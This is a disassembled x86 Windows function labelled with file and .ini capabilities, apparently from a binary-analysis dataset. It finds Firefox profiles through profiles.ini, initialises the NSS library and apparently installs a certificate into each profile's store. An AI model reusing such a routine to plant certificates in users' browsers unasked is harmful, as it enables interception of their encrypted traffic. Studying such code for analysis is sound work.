Function at 0x401980
Capabilities:
Enumerate files on windows
Get common file path
Read .ini file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x413530
mov eax, dword fs:[0]
push eax
push ecx
mov eax, 0x1e18
call fcn.00413200
mov eax, dword [0x41c004]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x1e24], edx
mov dword [ebp - 0x1e20], ecx
xor eax, eax
push 0x104
push eax
mov dword [ebp - 0x1e18], eax
mov dword [ebp - 0x1e14], eax
mov dword [ebp - 4], eax
lea eax, [ebp - 0x548]
push eax
call fcn.00403a60
add esp, 0xc
lea eax, [ebp - 0x128]
push 0x104
push 0
push eax
call fcn.00403a60
add esp, 0xc
lea eax, [ebp - 0x230]
push 0x104
push 0
push eax
call fcn.00403a60
add esp, 0xc
lea eax, [ebp - 0x440]
push 0x104
push 0
push eax
call fcn.00403a60
add esp, 0xc
lea eax, [ebp - 0x440]
push eax
push 0
push 0
push 0x801a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
js 0x40232c
push 0x104
lea eax, [ebp - 0x860]
push 0
push eax
call fcn.00403a60
add esp, 0xc
lea eax, [ebp - 0x650]
push 0x104
push 0
push eax
call fcn.00403a60
lea edi, [ebp - 0x440]
add esp, 0xc
xor ebx, ebx
lea ecx, [edi + 1]
mov al, byte [edi]
inc edi
test al, al
jne 0x401a81
sub edi, ecx
xor esi, esi
test edi, edi
jle 0x401b42
mov edx, edi
mov dword [ebp - 0x1e10], edi
nop dword [eax]
lea ecx, [ebp - 0x440]
cmp byte [ecx + esi], 0x5c
lea eax, [ebx + 1]
cmovne eax, ebx
mov ebx, eax
cmp ebx, 2
jne 0x401ae9
lea ecx, [ebp - 0x860]
lea eax, [ecx + 1]
mov dword [ebp - 0x1c64], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401ac6
sub ecx, dword [ebp - 0x1c64]
jne 0x401b32
test esi, esi
jle 0x401b32
lea eax, [ebp - 0x440]
push esi
push eax
lea eax, [ebp - 0x860]
jmp 0x401b23
cmp ebx, 3
jne 0x401b32
lea ecx, [ebp - 0x650]
lea eax, [ecx + 1]
mov dword [ebp - 0x1c64], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401b00
sub ecx, dword [ebp - 0x1c64]
jne 0x401b32
test edx, edx
jle 0x401b32
lea eax, [ebp - 0x440]
add eax, esi
push edx
push eax
lea eax, [ebp - 0x650]
push eax
call fcn.00405700
mov edx, dword [ebp - 0x1e10]
add esp, 0xc
inc esi
dec edx
mov dword [ebp - 0x1e10], edx
cmp esi, edi
jl 0x401aa0
mov ebx, 1
mov dword [ebp - 0x1e10], ebx
nop dword [eax]
cmp ebx, 0x258
jge 0x4022dd
push 0x104
lea eax, [ebp - 0x758]
push 0
push eax
call fcn.00403a60
add esp, 0xc
lea eax, [ebp - 0x230]
push 0x104
push 0
push eax
call fcn.00403a60
add esp, 0xc
lea eax, [ebp - 0x128]
push 0x104
push 0
push eax
call fcn.00403a60
add esp, 0xc
lea eax, [ebp - 0x860]
push eax
lea eax, [ebp - 0x230]
push 0x104
push eax
call fcn.0040707f
add esp, 0xc
lea eax, [ebp - 0x230]
push 0x4198e8
push 0x104
push eax
call fcn.004070d9
add esp, 0xc
mov byte [ebp - 0x1e09], 1
lea eax, [ebp - 0x230]
mov esi, ebx
push eax
lea eax, [ebp - 0x338]
push 0x104
push eax
call fcn.0040707f
add esp, 0xc
lea eax, [ebp - 0x338]
push 0x419820
push 0x104
push eax
call fcn.004070d9
add esp, 0xc
lea eax, [ebp - 0x1e08]
push eax
lea eax, [ebp - 0x338]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401c36
mov byte [ebp - 0x1e09], 0
jmp 0x401cb2
mov edi, 0x64
nop dword [eax + eax]
test byte [ebp - 0x1e08], 0x10
je 0x401c71
cmp byte [ebp - 0x1ddc], 0x2e
je 0x401c71
sub esi, 1
jne 0x401c71
lea ecx, [ebp - 0x1ddc]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401c60
sub ecx, edx
cmp ecx, 0x104
jbe 0x401c90
lea eax, [ebp - 0x1e08]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
neg eax
sbb al, al
and byte [ebp - 0x1e09], al
sub edi, 1
jns 0x401c40
jmp 0x401cab
lea eax, [ebp - 0x1ddc]
push eax
lea eax, [ebp - 0x758]
push 0x104
push eax
call fcn.0040707f
add esp, 0xc
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0x400
lea eax, [ebp - 0x1860]
push 0
push eax
call fcn.00403a60
add esp, 0xc
lea eax, [ebp - 0x1cb4]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
push 0x4196d4
lea eax, [ebp - 0x758]
push eax
movzx eax, word [ebp - 0x1ca6]
push str.FindFolder
push dword [ebp - 0x1e10]
push 0x4196d0
push eax
movzx eax, word [ebp - 0x1ca8]
push eax
movzx eax, word [ebp - 0x1caa]
push eax
movzx eax, word [ebp - 0x1cac]
push eax
movzx eax, word [ebp - 0x1cae]
push eax
movzx eax, word [ebp - 0x1cb2]
push eax
movzx eax, word [ebp - 0x1cb4]
push eax
push str._4.4d__2.2d__2.2d__2.2d:_2.2d:_2.2d._3.3d__s__5d__s__s_s
lea eax, [ebp - 0x1860]
push 0x400
push eax
call fcn.00401050
lea ecx, [ebp - 0x1860]
add esp, 0x3c
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401d50
mov ebx, dword [sym.imp.KERNEL32.dll_WriteFile]
lea eax, [ebp - 0x1c64]
push 0
push eax
sub ecx, edx
lea eax, [ebp - 0x1860]
push ecx
push eax
push dword [0x41d334]
call ebx
cmp byte [ebp - 0x1e09], 0
je 0x4022c3
lea eax, [ebp - 0x758]
push eax
lea eax, [ebp - 0x230]
push 0x104
push eax
call fcn.004070d9
add esp, 0xc
lea eax, [ebp - 0x650]
push eax
lea eax, [ebp - 0x230]
push 0x104
push eax
call fcn.004070d9
add esp, 0xc
lea eax, [ebp - 0x230]
push str.MozillaFirefoxprofiles.ini
push 0x104
push eax
call fcn.004070d9
add esp, 0xc
xor edi, edi
cmp edi, 0x64
jg 0x4022c3
push 0xa
push 0xa
lea eax, [ebp - 0x20]
mov word [ebp - 0x18], 0
push eax
xorps xmm0, xmm0
push edi
movq qword [ebp - 0x20], xmm0
call fcn.00407216
push 0x104
lea eax, [ebp - 0x338]
push 0
push eax
call fcn.00403a60
add esp, 0x1c
lea eax, [ebp - 0x338]
push str.Profile
push 0x104
push eax
call fcn.004070d9
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x338]
push 0x104
push eax
call fcn.004070d9
add esp, 0xc
lea eax, [ebp - 0x230]
push eax
push 0x104
lea eax, [ebp - 0x548]
push eax
push 0
push str.Path
lea eax, [ebp - 0x338]
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push 0x400
mov esi, eax
lea eax, [ebp - 0x1460]
push 0
push eax
call fcn.00403a60
add esp, 0xc
lea eax, [ebp - 0x1c74]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
push 0x4196d4
lea eax, [ebp - 0x548]
push eax
movzx eax, word [ebp - 0x1c66]
push str.PrivateProfile_Name
push dword [ebp - 0x1e18]
push 0x4196d0
push eax
movzx eax, word [ebp - 0x1c68]
push eax
movzx eax, word [ebp - 0x1c6a]
push eax
movzx eax, word [ebp - 0x1c6c]
push eax
movzx eax, word [ebp - 0x1c6e]
push eax
movzx eax, word [ebp - 0x1c72]
push eax
movzx eax, word [ebp - 0x1c74]
push eax
push str._4.4d__2.2d__2.2d__2.2d:_2.2d:_2.2d._3.3d__s__5d__s__s_s
lea eax, [ebp - 0x1460]
push 0x400
push eax
call fcn.00401050
lea ecx, [ebp - 0x1460]
add esp, 0x3c
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401f04
push 0
lea eax, [ebp - 0x1cc4]
sub ecx, edx
push eax
push ecx
lea eax, [ebp - 0x1460]
push eax
push dword [0x41d334]
call ebx
test esi, esi
je 0x4021fa
cmp esi, 0x104
jae 0x402327
push str.sql:
lea eax, [ebp - 0x128]
mov byte [ebp + esi - 0x548], 0
push 0x104
push eax
call fcn.0040707f
add esp, 0xc
lea eax, [ebp - 0x860]
push eax
lea eax, [ebp - 0x128]
push 0x104
push eax
call fcn.0040707f
add esp, 0xc
lea eax, [ebp - 0x128]
push 0x4198e8
push 0x104
push eax
call fcn.004070d9
add esp, 0xc
lea eax, [ebp - 0x758]
push eax
lea eax, [ebp - 0x128]
push 0x104
push eax
call fcn.004070d9
add esp, 0xc
lea eax, [ebp - 0x650]
push eax
lea eax, [ebp - 0x128]
push 0x104
push eax
call fcn.004070d9
add esp, 0xc
lea eax, [ebp - 0x128]
push str.MozillaFirefox_
push 0x104
push eax
call fcn.004070d9
add esp, 0xc
lea eax, [ebp - 0x548]
push eax
lea eax, [ebp - 0x128]
push 0x104
push eax
call fcn.004070d9
add esp, 0xc
push 1
push 1
push 1
call dword [sym.imp.libnspr4.dll_PR_Init]
add esp, 0xc
lea eax, [ebp - 0x128]
push 0
push 0x419801
push 0x419801
push 0x419801
push eax
call dword [sym.imp.nss3.dll_NSS_Initialize]
add esp, 0x14
test eax, eax
je 0x40210e
mov ebx, 0xffffd8d3
mov dword [ebp - 0x1e18], ebx
mov dword [ebp - 0x1e14], ebx
call dword [sym.imp.libnspr4.dll_PR_Cleanup]
push 0x400
lea eax, [ebp - 0x1060]
push 0
push eax
call fcn.00403a60
add esp, 0xc
lea eax, [ebp - 0x1c84]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx eax, word [ebp - 0x1c76]
push 0x4196d4
push 0x419958
push str.InstallFFCertImpl_NSS_Initialize
push ebx
push 0x4196d0
push eax
movzx eax, word [ebp - 0x1c78]
push eax
movzx eax, word [ebp - 0x1c7a]
push eax
movzx eax, word [ebp - 0x1c7c]
push eax
movzx eax, word [ebp - 0x1c7e]
push eax
movzx eax, word [ebp - 0x1c82]
push eax
movzx eax, word [ebp - 0x1c84]
push eax
push str._4.4d__2.2d__2.2d__2.2d:_2.2d:_2.2d._3.3d__s__5d__s__s_s
lea eax, [ebp - 0x1060]
push 0x400
push eax
call fcn.00401050
lea eax, [ebp - 0x1060]
add esp, 0x3c
lea edx, [eax + 1]
nop word [eax + eax]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4020e0
mov ebx, dword [sym.imp.KERNEL32.dll_WriteFile]
lea ecx, [ebp - 0x1cc0]
push 0
push ecx
sub eax, edx
push eax
lea eax, [ebp - 0x1060]
push eax
push dword [0x41d334]
call ebx
inc edi
jmp 0x401dd6
mov edx, dword [ebp - 0x1e24]
mov ecx, dword [ebp - 0x1e20]
call fcn.00401610
mov ebx, eax
lea eax, [ebp - 0x1c60]
push 0x400
push 0
push eax
mov dword [ebp - 0x1e18], ebx
mov dword [ebp - 0x1e14], ebx
call fcn.00403a60
add esp, 0xc
lea eax, [ebp - 0x1c94]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx eax, word [ebp - 0x1c86]
push 0x4196d4
push str.result
push str.GetProcAndInstallCert
push ebx
push 0x4196d0
push eax
movzx eax, word [ebp - 0x1c88]
push eax
movzx eax, word [ebp - 0x1c8a]
push eax
movzx eax, word [ebp - 0x1c8c]
push eax
movzx eax, word [ebp - 0x1c8e]
push eax
movzx eax, word [ebp - 0x1c92]
push eax
movzx eax, word [ebp - 0x1c94]
push eax
push str._4.4d__2.2d__2.2d__2.2d:_2.2d:_2.2d._3.3d__s__5d__s__s_s
lea eax, [ebp - 0x1c60]
push 0x400
push eax
call fcn.00401050
lea ecx, [ebp - 0x1c60]
add esp, 0x3c
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4021c0
mov ebx, dword [sym.imp.KERNEL32.dll_WriteFile]
lea eax, [ebp - 0x1cbc]
push 0
push eax
sub ecx, edx
lea eax, [ebp - 0x1c60]
push ecx
push eax
push dword [0x41d334]
call ebx
call dword [sym.imp.nss3.dll_NSS_Shutdown]
call dword [sym.imp.libnspr4.dll_PR_Cleanup]
inc edi
jmp 0x401dd6
mov eax, 0xffffd8c4
push 0x400
mov dword [ebp - 0x1e18], eax
mov dword [ebp - 0x1e14], eax
lea eax, [ebp - 0xc60]
push 0
push eax
call fcn.00403a60
add esp, 0xc
lea eax, [ebp - 0x1ca4]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx eax, word [ebp - 0x1c96]
push 0x4196d4
push 0x419994
push str.PrivateProfile_Name
push 0xffffd8c4
push 0x4196d0
push eax
movzx eax, word [ebp - 0x1c98]
push eax
movzx eax, word [ebp - 0x1c9a]
push eax
movzx eax, word [ebp - 0x1c9c]
push eax
movzx eax, word [ebp - 0x1c9e]
push eax
movzx eax, word [ebp - 0x1ca2]
push eax
movzx eax, word [ebp - 0x1ca4]
push eax
push str._4.4d__2.2d__2.2d__2.2d:_2.2d:_2.2d._3.3d__s__5d__s__s_s
lea eax, [ebp - 0xc60]
push 0x400
push eax
call fcn.00401050
lea ecx, [ebp - 0xc60]
add esp, 0x3c
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4022a1
push 0
lea eax, [ebp - 0x1cb8]
sub ecx, edx
push eax
push ecx
lea eax, [ebp - 0xc60]
push eax
push dword [0x41d334]
call ebx
mov ebx, dword [ebp - 0x1e10]
inc ebx
cmp byte [ebp - 0x1e09], 0
mov dword [ebp - 0x1e10], ebx
jne 0x401b50
xor eax, eax
jmp 0x40230b
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.004025ad
mov esp, ebp
pop ebp
ret
call fcn.00402719
push 0x41aba8
lea eax, [ebp - 0x1e1c]
mov dword [ebp - 0x1e14], 0xffffd8c4
push eax
mov dword [ebp - 0x1e1c], 0x4198d0
call fcn.00403c3c
int3